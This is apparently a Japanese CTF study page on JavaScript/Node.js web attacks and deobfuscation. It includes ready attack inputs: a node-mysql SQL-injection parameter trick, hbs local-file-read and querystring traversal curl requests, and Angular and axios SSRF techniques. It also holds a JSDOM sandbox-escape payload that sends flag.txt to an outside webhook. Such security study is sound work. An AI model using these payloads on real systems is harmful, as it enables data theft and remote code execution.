プロトタイプ汚染攻撃 Prototype pollution attack

ライブラリとかフレームワークとか

  • node-mysql-native
    • JSのMySQLライブラリ
    • connection.query('SELECT * FROM users WHERE id = ?', [id]のidに何が入ってるとどうなるか
    • 攻撃例
      • const sql = 'Select * from users where username = ? and password = ?';con.query(sql, [u, p], function(err, qResult) {となってる
      • これでusername=michelle&password[password]=1とすると、SELECT * FROM users WHERE username='michelle' AND password=`password`='1'となる
      • password=`password`='1'これが恒真らしい、なぜだ…
  • dotenv
  • Angular
    • URLで\をスラッシュとして使用可能。パーセントエンコーディングはデコードされる。
    • SSRF
      • Angularでthis.http.get('/api/answer')のようにリクエストを飛ばしている箇所があれば、PROTOCOL + HOST + / PATHでアクセスする
      • なので、HostにCNAMEで127.0.0.1/api/true-answerを指すようにしたドメインを指定すれば、https://127.0.0.1/api/true-answer/api/answerのようにSSRFできる
      • 適当なサイトに誘導してリダイレクトで127.0.0.1/api/true-answerへ飛ばせば、SSRFを達成できる。
    • TokyoWesterns CTF 2020 | writeups by @terjanq
      • AngularのSecondary segments - Angular Routerという機能を使ってバイパスする
      • これを使うだけ http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer).
      • primaryを使うのみがミソっぽい
    • ペイロード
  • Inspector
  • v8ライブラリ
    • ヒープが抜き出せる
    • const v8 = require('v8'); const memory = v8.getHeapSnapshot().read(); console.log(memory.toString());
    • これだけ。この問題では量が多いので、sliceで抜き出して答えている
  • Lodash
    • 4.17.4にはプロトタイプ汚染の脆弱性がある
  • hbs
    • テンプレートエンジンであるhandlebars.jsをexpressから使えるようにしたもの
    • The Secret Parameter, LFR, and Potential RCE in NodeJS Apps
      • LFR (:Local File Read)ができる
      • router.post('/', function(req, res, next) { res.render('index', req.body.profile) });みたいに呼び出すときに
      • curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://[attackhost]/'とすると、./../routes/index.jsを出力してくれる
      • 修正: res.render('index', { profile })のように直下におかないようにするのがいいみたい
    • 4.0.3以下ならHandlebars.jsでRCE脆弱性がある Handlebars template injection and RCE in a Shopify app
  • jpv
  • querystring
    • expressのPOSTでbodyからquerystringを受け取ってconst { p } = querystring.parse(body)みたいにパースしているとき
      • curl http://34.84.5.211/ -d 'p=1&p=%ff/NN/NN/NN/flag' -H 'Content-Type: text/plain'
      • こんな感じにNを使うことで.を表現できる
  • axios
    • axios 0.21.0
      • SSRFできる Requests that follow a redirect are not passing via the proxy · Issue #3369 · axios/axios · GitHub
        • 参照先からリダイレクトさせるとプロキシを通さない(アクセス制限しててもbypass可能)
        • 単純に以下のようにして、ここにアクセスさせるとhttp://127.0.0.1/adminにリダイレクトするが、これはproxyを通さず表示可能 js const http = require('http') http.createServer(function (req, res) { res.writeHead(302, {location: 'http://127.0.0.1/admin'}) res.end() }).listen(5566)
  • Mermaid
  • JSDOM
    • DOMをjsで作るもの(よくわかってない)
    • ここで作成されたDOMでonclickとかが呼ばれた場合はサーバ側のDOMとして動作するので、サーバ側でRCEができる感じになる
    • ただ、サンドボックス上で評価されるので工夫が必要であるが、vmモジュールを使ったサンドボックスなので、既知の脱獄手順を使ってホスト上でRCEしよう
    • corCTF2021の課題•ブライスのブログ
      • <button class="next" onclick="const ForeignFunction = this.constructor.constructor;const process = ForeignFunction('return process')(); const require = process.mainModule.require; require('http').get('http://webhook.x.pipedream.net/?q=' + require('fs').readFileSync('flag.txt'));">next</button>
  • DOMPurify: JS向けサニタイズライブラリの定番。結構強いから、基本的には抜けない。
  • Express
    • app.use(bodyParser.urlencoded({ extended: true }))
      • これがあるとGETパラメターに配列、連想配列を指定することができる
      • x[]=a&x[]=bだとx=['a','b']
      • x[a]=1&x[b]=2だとx=[a: '1',b: '2']
    • ルーティングの文字は大文字小文字区別しないのでrouter.get('/flag', (req, res) => {とあったら/FLAGでもアクセス可能
    • リクエストがどうなったら終わるか
      • return res.status(400).send('deploymentId required!').end();のようにendがついてたら終わる
      • return res.status(402).set('X-Billing-Account', account);のようにendが無くて、nextがあれば、nextへ遷移する(!!)
  • React

jQuery

  • danger
    • userinputがそのまま出力されるケース
      • $("#element").html([input]);
      • $("#element").append([input]);
    • v1.6.2以前
      • $(location.hash)として#<img>を与えるとimgタグが作られる
  • safe
    • $btnFacebook = $('<div />', {"data-href" : "[input]"})のように辞書形式でpropertyを指定すればhtml化されてもうまいことエスケープされる
    • $("#X").text([input]);
  • jQueryのgetJSONはcallback=?がURLに含まれる場合にはJSONPとして解釈する
    • this.contest = await $.getJSON(`/${location.hash.slice(1)}.json`)みたいになっていたら#/example.com/aで外部の//example/a.jsonを見に行ってくれる
    • この場合に/example.com/a.js?callback=?&とすればjsを実行してくれる

TypeScript

JavaScript難読化

  • Javascript Obfuscator
    • javascript-obfuscator/javascript-obfuscator: A powerful obfuscator for JavaScript and Node.js
    • よく見るし、業界標準?(業界人でないので分からないが、資料はたくさん出てくる)
    • リソースを出力する謎関数を作成する。
      • 手作業で分解するのはだいぶつらいので、Chromeデベロッパーツールでブレークして、使われている_0x2384('0x3')みたいなやつの中身を見ていくのがオススメ。
    • 0x3936 のような特徴的な識別子、debugger 文による解析妨害、0x487fdb(0xd9, 'og)h') のようによくわからない関数を呼び出して文字列等を取り出しているといった特徴がある。
  • JSFuck
  • うーにゃー
  • 難読化解除テク(と言ってもほぼ根性)
  • Chromeのローカルオーバーライド
    • これを使うと、ページを再読み込みしても修正されたjsなどを実行できる。
      1. やりたいサイトでデベロッパーツールを開く
      2. SourceパネルのOverridesタブを開く、適当なフォルダを指定する(どこでもいい)
      3. Pageタブを開き、修正をローカルで永続化しておきたいファイルを右クリックして、Save for overridesを選択する
      4. これでオーバーライドできたので、適当に修正して、実行する
    • javascriptであれば、オーバーライド後に、Networkパネルから目的のjsファイルを選択して、Previewタブを開くと、ちょっときれいになったjsが得られるので、それを持ってきて、オーバーライドしたところで上書きするとちょっと幸せになる。console.log(見たい変数);でバンバン入れて、中身を見ていこう。
  • 何を探すか
    • jsだと暗号化とかも自前でやってるから、encryptとかdecryptとかのキーワードで探してみると何か出てくるかも
    • どこかで外部からデータを持ってきているなら、SQLiができるかもしれない
      • httpとかで検索したら良い感じのURL出てくるかも
  • 参考
  • debugger文を使った解析妨害コード
    • Securinets CTF Quals 2021 の writeup - st98 の日記帳
    • Chrome Developer Toolsがsource codeをbeautifyする前に(もしくは、している間に)ブレークさせる
      1. Chrome Developer Toolsを開く(解析妨害コードでブレークする)
      2. ブレークしている状態で本当にブレークさせたい所にブレークポイントを置く
      3. 一旦閉じる
      4. Chrome Defveloper Toolsを開くと同時に、ブレークさせたい所が発動するようなアクションをする(例えばボタンを押す)
      5. すると、解析妨害コードよりも先に手順4のアクションが優先され、ブレークさせたい所でブレークさせることができる